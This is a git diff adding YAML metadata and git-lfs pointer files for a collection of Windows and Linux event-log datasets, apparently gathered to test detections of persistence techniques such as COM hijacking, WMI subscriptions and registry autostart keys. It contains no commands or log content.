+1,13 @@ +author: STRT +id: 8114ba41-67d0-4223-b352-4b48010d31a2 +date: '2026-07-11' +description: Curated attack data generated for detection Screensaver Event Trigger + Execution +environment: attack_range +directory: scrnsave_reg +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/attack_techniques/T1546.002/scrnsave_reg/sysmon-8114ba41-67d0-4223-b352-4b48010d31a2.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1546.002/scrnsave_reg/sysmon-8114ba41-67d0-4223-b352-4b48010d31a2.log b/datasets/attack_techniques/T1546.002/scrnsave_reg/sysmon-8114ba41-67d0-4223-b352-4b48010d31a2.log new file mode 100644 index 000000000..06d2e38ec --- /dev/null +++ b/datasets/attack_techniques/T1546.002/scrnsave_reg/sysmon-8114ba41-67d0-4223-b352-4b48010d31a2.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:a684a82abb39758f5ba8fcd63afbe83fcce03231f758eef9efe08add022542fc +size 2136 diff --git a/datasets/attack_techniques/T1546.003/atomic_red_team/T1546.003_atomic_red_team.yml b/datasets/attack_techniques/T1546.003/atomic_red_team/T1546.003_atomic_red_team.yml new file mode 100644 index 000000000..8169d25d9 --- /dev/null +++ b/datasets/attack_techniques/T1546.003/atomic_red_team/T1546.003_atomic_red_team.yml @@ -0,0 +1,17 @@ +author: STRT +id: a903b983-3160-45b4-9c3e-7d894d1fb6f6 +date: '2026-07-11' +description: Curated attack data generated for detection Detect WMI Event Subscription + Persistence +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1546.003/atomic_red_team/windows-sysmon-a903b983-3160-45b4-9c3e-7d894d1fb6f6.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: mofcomp + path: /datasets/attack_techniques/T1546.003/atomic_red_team/mofcomp-a903b983-3160-45b4-9c3e-7d894d1fb6f6.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1546.003/atomic_red_team/mofcomp-a903b983-3160-45b4-9c3e-7d894d1fb6f6.log b/datasets/attack_techniques/T1546.003/atomic_red_team/mofcomp-a903b983-3160-45b4-9c3e-7d894d1fb6f6.log new file mode 100644 index 000000000..d08167286 --- /dev/null +++ b/datasets/attack_techniques/T1546.003/atomic_red_team/mofcomp-a903b983-3160-45b4-9c3e-7d894d1fb6f6.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:a131528bd54c78ddc39003c269c542db775750d7dc3ca99802218c988bc43f94 +size 114546 diff --git a/datasets/attack_techniques/T1546.003/atomic_red_team/windows-sysmon-a903b983-3160-45b4-9c3e-7d894d1fb6f6.log b/datasets/attack_techniques/T1546.003/atomic_red_team/windows-sysmon-a903b983-3160-45b4-9c3e-7d894d1fb6f6.log new file mode 100644 index 000000000..b34822b50 --- /dev/null +++ b/datasets/attack_techniques/T1546.003/atomic_red_team/windows-sysmon-a903b983-3160-45b4-9c3e-7d894d1fb6f6.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:82e99720a4cf6a56bc72acb5b6d6fc0f12bd3564e5f2b1774dfe4285f4361a6b +size 3143 diff --git a/datasets/attack_techniques/T1546.004/linux_auditd_unix_shell_mod_config/T1546.004_linux_auditd_unix_shell_mod_config.yml b/datasets/attack_techniques/T1546.004/linux_auditd_unix_shell_mod_config/T1546.004_linux_auditd_unix_shell_mod_config.yml new file mode 100644 index 000000000..66bd44be6 --- /dev/null +++ b/datasets/attack_techniques/T1546.004/linux_auditd_unix_shell_mod_config/T1546.004_linux_auditd_unix_shell_mod_config.yml @@ -0,0 +1,13 @@ +author: STRT +id: 146c1c54-ace9-459a-8642-6281ca5d237e +date: '2026-07-10' +description: Curated attack data generated for detection Linux Auditd Unix Shell Configuration + Modification +environment: attack_range +directory: linux_auditd_unix_shell_mod_config +mitre_technique: [] +datasets: +- name: linux_path_profile_d + path: /datasets/attack_techniques/T1546.004/linux_auditd_unix_shell_mod_config/linux_path_profile_d-146c1c54-ace9-459a-8642-6281ca5d237e.log + sourcetype: auditd + source: auditd diff --git a/datasets/attack_techniques/T1546.004/linux_auditd_unix_shell_mod_config/linux_path_profile_d-146c1c54-ace9-459a-8642-6281ca5d237e.log b/datasets/attack_techniques/T1546.004/linux_auditd_unix_shell_mod_config/linux_path_profile_d-146c1c54-ace9-459a-8642-6281ca5d237e.log new file mode 100644 index 000000000..4ff236e21 --- /dev/null +++ b/datasets/attack_techniques/T1546.004/linux_auditd_unix_shell_mod_config/linux_path_profile_d-146c1c54-ace9-459a-8642-6281ca5d237e.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:acc9fc4883083e5d2641ffad2cbfeaef603496a363d4e0b84c535e39f1590a50 +size 655 diff --git a/datasets/attack_techniques/T1546.004/linux_init_profile/T1546.004_linux_init_profile.yml b/datasets/attack_techniques/T1546.004/linux_init_profile/T1546.004_linux_init_profile.yml new file mode 100644 index 000000000..2ebb9e202 --- /dev/null +++ b/datasets/attack_techniques/T1546.004/linux_init_profile/T1546.004_linux_init_profile.yml @@ -0,0 +1,13 @@ +author: STRT +id: 6b6b6f85-fb50-4692-a1c1-e640399a4d16 +date: '2026-07-10' +description: Curated attack data generated for detection Linux File Creation In Init + Boot Directory +environment: attack_range +directory: linux_init_profile +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/attack_techniques/T1546.004/linux_init_profile/sysmon_linux-6b6b6f85-fb50-4692-a1c1-e640399a4d16.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1546.004/linux_init_profile/sysmon_linux-6b6b6f85-fb50-4692-a1c1-e640399a4d16.log b/datasets/attack_techniques/T1546.004/linux_init_profile/sysmon_linux-6b6b6f85-fb50-4692-a1c1-e640399a4d16.log new file mode 100644 index 000000000..5fa7182a3 --- /dev/null +++ b/datasets/attack_techniques/T1546.004/linux_init_profile/sysmon_linux-6b6b6f85-fb50-4692-a1c1-e640399a4d16.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:e18ad6f7670eef591b71112b5ce5ba93037c493d68d062da41308fc5837c2105 +size 2796 diff --git a/datasets/attack_techniques/T1546.008/atomic_red_team/T1546.008_atomic_red_team.yml b/datasets/attack_techniques/T1546.008/atomic_red_team/T1546.008_atomic_red_team.yml new file mode 100644 index 000000000..8a0576f46 --- /dev/null +++ b/datasets/attack_techniques/T1546.008/atomic_red_team/T1546.008_atomic_red_team.yml @@ -0,0 +1,13 @@ +author: STRT +id: 9dbbf5f9-9319-4588-8554-145d92322cce +date: '2026-07-10' +description: Curated attack data generated for detection Overwriting Accessibility + Binaries +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1546.008/atomic_red_team/windows-sysmon-9dbbf5f9-9319-4588-8554-145d92322cce.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1546.008/atomic_red_team/windows-sysmon-9dbbf5f9-9319-4588-8554-145d92322cce.log b/datasets/attack_techniques/T1546.008/atomic_red_team/windows-sysmon-9dbbf5f9-9319-4588-8554-145d92322cce.log new file mode 100644 index 000000000..e4400886a --- /dev/null +++ b/datasets/attack_techniques/T1546.008/atomic_red_team/windows-sysmon-9dbbf5f9-9319-4588-8554-145d92322cce.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:7be9fa8bf5f10715c103dbbf532a34b2f03d95fc6e0561a98d13c697319d892b +size 1970 diff --git a/datasets/attack_techniques/T1546.009/snapattack/T1546.009_snapattack.yml b/datasets/attack_techniques/T1546.009/snapattack/T1546.009_snapattack.yml new file mode 100644 index 000000000..04b215555 --- /dev/null +++ b/datasets/attack_techniques/T1546.009/snapattack/T1546.009_snapattack.yml @@ -0,0 +1,13 @@ +author: STRT +id: 112f54ab-186d-438d-986e-c70eee467749 +date: '2026-07-11' +description: Curated attack data generated for detection Windows AppCertDLL Modification + Via Command Line +environment: attack_range +directory: snapattack +mitre_technique: [] +datasets: +- name: snapattack + path: /datasets/attack_techniques/T1546.009/snapattack/snapattack-112f54ab-186d-438d-986e-c70eee467749.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1546.009/snapattack/snapattack-112f54ab-186d-438d-986e-c70eee467749.log b/datasets/attack_techniques/T1546.009/snapattack/snapattack-112f54ab-186d-438d-986e-c70eee467749.log new file mode 100644 index 000000000..7432a4525 --- /dev/null +++ b/datasets/attack_techniques/T1546.009/snapattack/snapattack-112f54ab-186d-438d-986e-c70eee467749.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:a5cfe8c2618abafadda4f9cf4969d9a42d716eaa0b6cbb05e475fe5d0298d706 +size 1584 diff --git a/datasets/attack_techniques/T1546.011/atomic_red_team/T1546.011_atomic_red_team.yml b/datasets/attack_techniques/T1546.011/atomic_red_team/T1546.011_atomic_red_team.yml new file mode 100644 index 000000000..b2993ece7 --- /dev/null +++ b/datasets/attack_techniques/T1546.011/atomic_red_team/T1546.011_atomic_red_team.yml @@ -0,0 +1,13 @@ +author: STRT +id: b70bb8de-dcf8-47ad-a62b-16b11d3d5185 +date: '2026-07-11' +description: Curated attack data generated for detection Registry Keys for Creating + SHIM Databases +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1546.011/atomic_red_team/windows-sysmon-b70bb8de-dcf8-47ad-a62b-16b11d3d5185.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1546.011/atomic_red_team/windows-sysmon-b70bb8de-dcf8-47ad-a62b-16b11d3d5185.log b/datasets/attack_techniques/T1546.011/atomic_red_team/windows-sysmon-b70bb8de-dcf8-47ad-a62b-16b11d3d5185.log new file mode 100644 index 000000000..85847a68c --- /dev/null +++ b/datasets/attack_techniques/T1546.011/atomic_red_team/windows-sysmon-b70bb8de-dcf8-47ad-a62b-16b11d3d5185.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:46f1c817e7ad4198796db702ae66b0977ff0569cee6438fe72da6caa285172b4 +size 12776 diff --git a/datasets/attack_techniques/T1546.012/atomic_red_team/T1546.012_atomic_red_team.yml b/datasets/attack_techniques/T1546.012/atomic_red_team/T1546.012_atomic_red_team.yml new file mode 100644 index 000000000..fbc70439e --- /dev/null +++ b/datasets/attack_techniques/T1546.012/atomic_red_team/T1546.012_atomic_red_team.yml @@ -0,0 +1,17 @@ +author: STRT +id: aba368b8-d42e-4214-aa12-b3b7c2d7dd33 +date: '2026-07-11' +description: Curated attack data generated for detection Registry Keys Used For Privilege + Escalation +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1546.012/atomic_red_team/windows-sysmon-aba368b8-d42e-4214-aa12-b3b7c2d7dd33.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: windows-application + path: /datasets/attack_techniques/T1546.012/atomic_red_team/windows-application-aba368b8-d42e-4214-aa12-b3b7c2d7dd33.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Application diff --git a/datasets/attack_techniques/T1546.012/atomic_red_team/windows-application-aba368b8-d42e-4214-aa12-b3b7c2d7dd33.log b/datasets/attack_techniques/T1546.012/atomic_red_team/windows-application-aba368b8-d42e-4214-aa12-b3b7c2d7dd33.log new file mode 100644 index 000000000..6ec42ed08 --- /dev/null +++ b/datasets/attack_techniques/T1546.012/atomic_red_team/windows-application-aba368b8-d42e-4214-aa12-b3b7c2d7dd33.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:922e71e23a9db5c0bcfa5c7d346bfb6616ff39c205db9c902a17e9ded6c83818 +size 15515 diff --git a/datasets/attack_techniques/T1546.012/atomic_red_team/windows-sysmon-aba368b8-d42e-4214-aa12-b3b7c2d7dd33.log b/datasets/attack_techniques/T1546.012/atomic_red_team/windows-sysmon-aba368b8-d42e-4214-aa12-b3b7c2d7dd33.log new file mode 100644 index 000000000..91b00becb --- /dev/null +++ b/datasets/attack_techniques/T1546.012/atomic_red_team/windows-sysmon-aba368b8-d42e-4214-aa12-b3b7c2d7dd33.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:f8a125a975f361711d4fa2cb33b257b4bc0199b98a4e28777b46cabe913c1aea +size 2216 diff --git a/datasets/attack_techniques/T1546.015/atomic_red_team/T1546.015_atomic_red_team.yml b/datasets/attack_techniques/T1546.015/atomic_red_team/T1546.015_atomic_red_team.yml new file mode 100644 index 000000000..ab3fb2c85 --- /dev/null +++ b/datasets/attack_techniques/T1546.015/atomic_red_team/T1546.015_atomic_red_team.yml @@ -0,0 +1,13 @@ +author: STRT +id: 90f8c501-cf42-4ff9-accd-53f758f5abfb +date: '2026-07-10' +description: Curated attack data generated for detection Powershell COM Hijacking + InprocServer32 Modification +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: windows-powershell + path: /datasets/attack_techniques/T1546.015/atomic_red_team/windows-powershell-90f8c501-cf42-4ff9-accd-53f758f5abfb.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/attack_techniques/T1546.015/atomic_red_team/windows-powershell-90f8c501-cf42-4ff9-accd-53f758f5abfb.log b/datasets/attack_techniques/T1546.015/atomic_red_team/windows-powershell-90f8c501-cf42-4ff9-accd-53f758f5abfb.log new file mode 100644 index 000000000..6d07c7f4b --- /dev/null +++ b/datasets/attack_techniques/T1546.015/atomic_red_team/windows-powershell-90f8c501-cf42-4ff9-accd-53f758f5abfb.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:82bfdc113a77b5a2bf0d8fede92e6f8898eeab3ce94d28113e60715ec4a5e3d8 +size 11236 diff --git a/datasets/attack_techniques/T1546.015/pwh_com_object/T1546.015_pwh_com_object.yml b/datasets/attack_techniques/T1546.015/pwh_com_object/T1546.015_pwh_com_object.yml new file mode 100644 index 000000000..81896bca1 --- /dev/null +++ b/datasets/attack_techniques/T1546.015/pwh_com_object/T1546.015_pwh_com_object.yml @@ -0,0 +1,12 @@ +author: STRT +id: ba61d3d7-0974-42ad-8122-cfc262c84807 +date: '2026-07-10' +description: Curated attack data generated for detection Powershell Execute COM Object +environment: attack_range +directory: pwh_com_object +mitre_technique: [] +datasets: +- name: windows-powershell-xml + path: /datasets/attack_techniques/T1546.015/pwh_com_object/windows-powershell-xml-ba61d3d7-0974-42ad-8122-cfc262c84807.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/attack_techniques/T1546.015/pwh_com_object/windows-powershell-xml-ba61d3d7-0974-42ad-8122-cfc262c84807.log b/datasets/attack_techniques/T1546.015/pwh_com_object/windows-powershell-xml-ba61d3d7-0974-42ad-8122-cfc262c84807.log new file mode 100644 index 000000000..564ce36e4 --- /dev/null +++ b/datasets/attack_techniques/T1546.015/pwh_com_object/windows-powershell-xml-ba61d3d7-0974-42ad-8122-cfc262c84807.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:aa25d4a135fe668210478de9616418ce00d79a12a5f0efb62c33c80b2104af4f +size 5003 diff --git a/datasets/attack_techniques/T1546.015/uac_colorui/T1546.015_uac_colorui.yml b/datasets/attack_techniques/T1546.015/uac_colorui/T1546.015_uac_colorui.yml new file mode 100644 index 000000000..2ec0188b1 --- /dev/null +++ b/datasets/attack_techniques/T1546.015/uac_colorui/T1546.015_uac_colorui.yml @@ -0,0 +1,13 @@ +author: STRT +id: b514f09c-961b-421c-adec-ebbee07c10d4 +date: '2026-07-11' +description: Curated attack data generated for detection UAC Bypass With Colorui COM + Object +environment: attack_range +directory: uac_colorui +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1546.015/uac_colorui/windows-sysmon-b514f09c-961b-421c-adec-ebbee07c10d4.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1546.015/uac_colorui/windows-sysmon-b514f09c-961b-421c-adec-ebbee07c10d4.log b/datasets/attack_techniques/T1546.015/uac_colorui/windows-sysmon-b514f09c-961b-421c-adec-ebbee07c10d4.log new file mode 100644 index 000000000..759470dc7 --- /dev/null +++ b/datasets/attack_techniques/T1546.015/uac_colorui/windows-sysmon-b514f09c-961b-421c-adec-ebbee07c10d4.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:49f2848df3866713dc7194829b4147584e94ca170f7d8398c663fa128db8f9f4 +size 1506 diff --git a/datasets/attack_techniques/T1546/adminsdholder_modified/T1546_adminsdholder_modified.yml b/datasets/attack_techniques/T1546/adminsdholder_modified/T1546_adminsdholder_modified.yml new file mode 100644 index 000000000..186051625 --- /dev/null +++ b/datasets/attack_techniques/T1546/adminsdholder_modified/T1546_adminsdholder_modified.yml @@ -0,0 +1,13 @@ +author: STRT +id: 546cf1b0-109e-48a2-8a48-8b012932852c +date: '2026-07-11' +description: Curated attack data generated for detection Windows AD AdminSDHolder + ACL Modified +environment: attack_range +directory: adminsdholder_modified +mitre_technique: [] +datasets: +- name: windows-security + path: /datasets/attack_techniques/T1546/adminsdholder_modified/windows-security-546cf1b0-109e-48a2-8a48-8b012932852c.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1546/adminsdholder_modified/windows-security-546cf1b0-109e-48a2-8a48-8b012932852c.log b/datasets/attack_techniques/T1546/adminsdholder_modified/windows-security-546cf1b0-109e-48a2-8a48-8b012932852c.log new file mode 100644 index 000000000..4998a5b81 --- /dev/null +++ b/datasets/attack_techniques/T1546/adminsdholder_modified/windows-security-546cf1b0-109e-48a2-8a48-8b012932852c.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:ffe622cdf52ee5fb1131877259d04f7588840eade59c7bc1ab31652aa65b58da +size 5598 diff --git a/datasets/attack_techniques/T1546/compattelrunner_abuse/T1546_compattelrunner_abuse.yml b/datasets/attack_techniques/T1546/compattelrunner_abuse/T1546_compattelrunner_abuse.yml new file mode 100644 index 000000000..26c28e8bd --- /dev/null +++ b/datasets/attack_techniques/T1546/compattelrunner_abuse/T1546_compattelrunner_abuse.yml @@ -0,0 +1,13 @@ +author: STRT +id: 240b51a3-36b1-4304-8a3a-4945e2151d01 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Compatibility Telemetry + Suspicious Child Process +environment: attack_range +directory: compattelrunner_abuse +mitre_technique: [] +datasets: +- name: compattelrunner_abuse + path: /datasets/attack_techniques/T1546/compattelrunner_abuse/compattelrunner_abuse-240b51a3-36b1-4304-8a3a-4945e2151d01.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1546/compattelrunner_abuse/compattelrunner_abuse-240b51a3-36b1-4304-8a3a-4945e2151d01.log b/datasets/attack_techniques/T1546/compattelrunner_abuse/compattelrunner_abuse-240b51a3-36b1-4304-8a3a-4945e2151d01.log new file mode 100644 index 000000000..09d425406 --- /dev/null +++ b/datasets/attack_techniques/T1546/compattelrunner_abuse/compattelrunner_abuse-240b51a3-36b1-4304-8a3a-4945e2151d01.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:392d2d07ac41ef1f979e0bbb345338c04da2b0829e976e5070d74bb15a8553e9 +size 1153 diff --git a/datasets/attack_techniques/T1547.001/atomic_red_team/T1547.001_atomic_red_team.yml b/datasets/attack_techniques/T1547.001/atomic_red_team/T1547.001_atomic_red_team.yml new file mode 100644 index 000000000..43fa6464a --- /dev/null +++ b/datasets/attack_techniques/T1547.001/atomic_red_team/T1547.001_atomic_red_team.yml @@ -0,0 +1,16 @@ +author: STRT +id: b96243cb-6709-4e07-b424-8a62e81e78c7 +date: '2026-07-11' +description: Curated attack data generated for detection Registry Keys Used For Persistence +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1547.001/atomic_red_team/windows-sysmon-b96243cb-6709-4e07-b424-8a62e81e78c7.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: bootexecute-windows-sysmon + path: /datasets/attack_techniques/T1547.001/atomic_red_team/bootexecute-windows-sysmon-b96243cb-6709-4e07-b424-8a62e81e78c7.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1547.001/atomic_red_team/bootexecute-windows-sysmon-b96243cb-6709-4e07-b424-8a62e81e78c7.log b/datasets/attack_techniques/T1547.001/atomic_red_team/bootexecute-windows-sysmon-b96243cb-6709-4e07-b424-8a62e81e78c7.log new file mode 100644 index 000000000..7f6fa5116 --- /dev/null +++ b/datasets/attack_techniques/T1547.001/atomic_red_team/bootexecute-windows-sysmon-b96243cb-6709-4e07-b424-8a62e81e78c7.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:c79143377b8556d33156c3a2b5610bbee97adfa8b2a7c1e6524ebb905ef3375c +size 21930 diff --git a/datasets/attack_techniques/T1547.001/atomic_red_team/windows-sysmon-b96243cb-6709-4e07-b424-8a62e81e78c7.log b/datasets/attack_techniques/T1547.001/atomic_red_team/windows-sysmon-b96243cb-6709-4e07-b424-8a62e81e78c7.log new file mode 100644 index 000000000..81a321009 --- /dev/null +++ b/datasets/attack_techniques/T1547.001/atomic_red_team/windows-sysmon-b96243cb-6709-4e07-b424-8a62e81e78c7.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:404a4d1d9b2ce9357252fdf7ee69d75dc5c81317dbecf8aa64e9121e4dacaa05 +size 6500 diff --git a/datasets/attack_techniques/T1547.003/timeprovider_reg/T1547.003_timeprovider_reg.yml b/datasets/attack_techniques/T1547.003/timeprovider_reg/T1547.003_timeprovider_reg.yml new file mode 100644 index 000000000..0cc353c73 --- /dev/null +++ b/datasets/attack_techniques/T1547.003/timeprovider_reg/T1547.003_timeprovider_reg.yml @@ -0,0 +1,13 @@ +author: STRT +id: cafc16ab-fdaf-4435-b5ab-2b261952b02f +date: '2026-07-11' +description: Curated attack data generated for detection Time Provider Persistence + Registry +environment: attack_range +directory: timeprovider_reg +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/attack_techniques/T1547.003/timeprovider_reg/sysmon-cafc16ab-fdaf-4435-b5ab-2b261952b02f.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1547.003/timeprovider_reg/sysmon-cafc16ab-fdaf-4435-b5ab-2b261952b02f.log b/datasets/attack_techniques/T1547.003/timeprovider_reg/sysmon-cafc16ab-fdaf-4435-b5ab-2b261952b02f.log new file mode 100644 index 000000000..d42787a04 --- /dev/null +++ b/datasets/attack_techniques/T1547.003/timeprovider_reg/sysmon-cafc16ab-fdaf-4435-b5ab-2b261952b02f.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:0b26555633fd926850df9eba5bdcd5028806cf8922399e869ab4b5af3b13bbc6 +size 2128 diff --git a/datasets/attack_techniques/T1547.006/loading_linux_kernel_module/T1547.006_loading_linux_kernel_module.yml b/datasets/attack_techniques/T1547.006/loading_linux_kernel_module/T1547.006_loading_linux_kernel_module.yml new file mode 100644 index 000000000..7a2ced0a9 --- /dev/null +++ b/datasets/attack_techniques/T1547.006/loading_linux_kernel_module/T1547.006_loading_linux_kernel_module.yml @@ -0,0 +1,13 @@ +author: STRT +id: f2df0e04-bf69-48d5-863a-2efc8796bcb3 +date: '2026-07-10' +description: Curated attack data generated for detection Linux File Created In Kernel + Driver Directory +environment: attack_range +directory: loading_linux_kernel_module +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/attack_techniques/T1547.006/loading_linux_kernel_module/sysmon_linux-f2df0e04-bf69-48d5-863a-2efc8796bcb3.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1547.006/loading_linux_kernel_module/sysmon_linux-f2df0e04-bf69-48d5-863a-2efc8796bcb3.log b/datasets/attack_techniques/T1547.006/loading_linux_kernel_module/sysmon_linux-f2df0e04-bf69-48d5-863a-2efc8796bcb3.log new file mode 100644 index 000000000..4c4f0f302 --- /dev/null +++ b/datasets/attack_techniques/T1547.006/loading_linux_kernel_module/sysmon_linux-f2df0e04-bf69-48d5-863a-2efc8796bcb3.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:62e7557ee71e44a06d1011661031772167e02d34e664922314010eb71dfd0a05 +size 4541 diff --git a/datasets/attack_techniques/T1547.008/atomic_red_team/T1547.008_atomic_red_team.yml b/datasets/attack_techniques/T1547.008/atomic_red_team/T1547.008_atomic_red_team.yml new file mode 100644 index 000000000..323961e99 --- /dev/null +++ b/datasets/attack_techniques/T1547.008/atomic_red_team/T1547.008_atomic_red_team.yml @@ -0,0 +1,13 @@ +author: STRT +id: 31df7904-a2fd-4f3a-a8cc-e096700d0b08 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Autostart Execution + LSASS Driver Registry Modification +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1547.008/atomic_red_team/windows-sysmon-31df7904-a2fd-4f3a-a8cc-e096700d0b08.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1547.008/atomic_red_team/windows-sysmon-31df7904-a2fd-4f3a-a8cc-e096700d0b08.log b/datasets/attack_techniques/T1547.008/atomic_red_team/windows-sysmon-31df7904-a2fd-4f3a-a8cc-e096700d0b08.log new file mode 100644 index 000000000..e2d305369 --- /dev/null +++ b/datasets/attack_techniques/T1547.008/atomic_red_team/windows-sysmon-31df7904-a2fd-4f3a-a8cc-e096700d0b08.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:8f6ee4e288a76ec9b09d0594a40a26d001899d5c108760c172c5e7c2d36525ea +size 7792 diff --git a/datasets/attack_techniques/T1547.010/atomic_red_team/T1547.010_atomic_red_team.yml b/datasets/attack_techniques/T1547.010/atomic_red_team/T1547.010_atomic_red_team.yml new file mode 100644 index 000000000..a56bc5ed0 --- /dev/null +++ b/datasets/attack_techniques/T1547.010/atomic_red_team/T1547.010_atomic_red_team.yml @@ -0,0 +1,13 @@ +author: STRT +id: 0330bcb5-48a1-4b90-bf2d-162a7dc6dd2a +date: '2026-07-10' +description: Curated attack data generated for detection Monitor Registry Keys for + Print Monitors +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/attack_techniques/T1547.010/atomic_red_team/sysmon-0330bcb5-48a1-4b90-bf2d-162a7dc6dd2a.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1547.010/atomic_red_team/sysmon-0330bcb5-48a1-4b90-bf2d-162a7dc6dd2a.log b/datasets/attack_techniques/T1547.010/atomic_red_team/sysmon-0330bcb5-48a1-4b90-bf2d-162a7dc6dd2a.log new file mode 100644 index 000000000..43694ed58 --- /dev/null +++ b/datasets/attack_techniques/T1547.010/atomic_red_team/sysmon-0330bcb5-48a1-4b90-bf2d-162a7dc6dd2a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:26788a57b5eb7b629c661f000b51accfb6c12cae240ddab2c00b4c935dcce7db +size 1081 diff --git a/datasets/attack_techniques/T1547.012/print_reg/T1547.012_print_reg.yml b/datasets/attack_techniques/T1547.012/print_reg/T1547.012_print_reg.yml new file mode 100644 index 000000000..ca44b2635 --- /dev/null +++ b/datasets/attack_techniques/T1547.012/print_reg/T1547.012_print_reg.yml @@ -0,0 +1,13 @@ +author: STRT +id: 414f579a-a488-45dd-950d-d3bb2568dd43 +date: '2026-07-10' +description: Curated attack data generated for detection Print Processor Registry + Autostart +environment: attack_range +directory: print_reg +mitre_technique: [] +datasets: +- name: sysmon_print + path: /datasets/attack_techniques/T1547.012/print_reg/sysmon_print-414f579a-a488-45dd-950d-d3bb2568dd43.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1547.012/print_reg/sysmon_print-414f579a-a488-45dd-950d-d3bb2568dd43.log 